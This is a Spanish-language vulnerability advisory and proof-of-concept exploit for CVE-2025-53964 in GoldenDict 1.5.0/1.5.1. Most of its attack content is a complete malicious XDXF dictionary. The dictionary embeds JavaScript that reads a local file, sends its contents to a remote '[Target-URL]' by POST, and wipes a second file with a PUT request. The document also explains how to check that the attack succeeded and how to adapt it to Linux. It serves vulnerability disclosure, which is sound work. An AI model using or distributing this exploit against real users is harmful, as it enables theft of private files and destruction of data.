
Exploit de prueba de concepto para CVE-2025-53964: lectura/escritura remota de archivos a través de un diccionario XDXF malicioso en GoldenDict 1.5.0/1.5.1, aprovechando la ejecución de XML y JS sin sanitizar.
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 y 1.5.1 tiene un método peligroso expuesto que permite leer y modificar archivos cuando un usuario agrega un diccionario manipulado y luego busca cualquier término incluido en ese diccionario.
El producto proporciona una interfaz para la interacción con actores externos, que incluye un método peligroso en GoldenDict (ver. 1.5.0, 1.5.1) que no está restringido adecuadamente. Esto permite que un atacante remoto obtenga acceso para leer y modificar archivos en el sistema de archivos del usuario cuando se agrega y utiliza un diccionario malicioso preparado en el programa.
CWE-749: Método o Función Peligrosa Expuesta; CWE-79: Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
Ejecutable de GoldenDict, archivo de código fuente xdxf.cc, archivo de código fuente xdxf2html.cc, archivo de código fuente stardict.cc.
Remoto
true
true
Acceso para leer y modificar archivos en el sistema de archivos del usuario
Para explotar la vulnerabilidad, un usuario debe agregar un diccionario malicioso al programa y buscar cualquier término incluido en ese diccionario.
Grebennikov Timofey, especialista en el grupo de pruebas de penetración del departamento de control de seguridad del desarrollo del Grupo Astra.
https://github.com/goldendict/goldendict/releases
GoldenDict es un programa gráfico para buscar términos en Wikipedia y diccionarios instalados localmente. Se admiten varios formatos de diccionario, incluido el formato XDXF con marcado XML. Los diccionarios son distribuidos en Internet por otros usuarios.
El programa utiliza un motor de navegador, que está incluido en el paquete de componentes Qt Widgets, para renderizar y mostrar palabras de los diccionarios.
Varias violaciones de seguridad fueron descubiertas a la vez, que permiten la implementación de una vulnerabilidad crítica:
Juntas, estas violaciones llevan a la posibilidad de obtener acceso a los archivos del usuario mediante la incrustación de código JS malicioso en el marcado XML de un diccionario XDXF descargado de Internet.
Para probar una vulnerabilidad en Windows, puede ejecutar un script que afecte a dos archivos preparados en el sistema de archivos.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
Al inicializarse, este diccionario enviará el contenido de secret.txt al servidor remoto y borrará idea.txt.
Verifique el éxito del ataque: el destinatario recibirá un mensaje que contiene el contenido del archivo secret.txt, y el archivo idea.txt estará vacío.
La vulnerabilidad afecta tanto a sistemas Windows como Linux. Para reproducir la vulnerabilidad en un sistema Linux, es necesario usar diferentes directorios para almacenar los archivos de prueba y especificarlos en el código malicioso.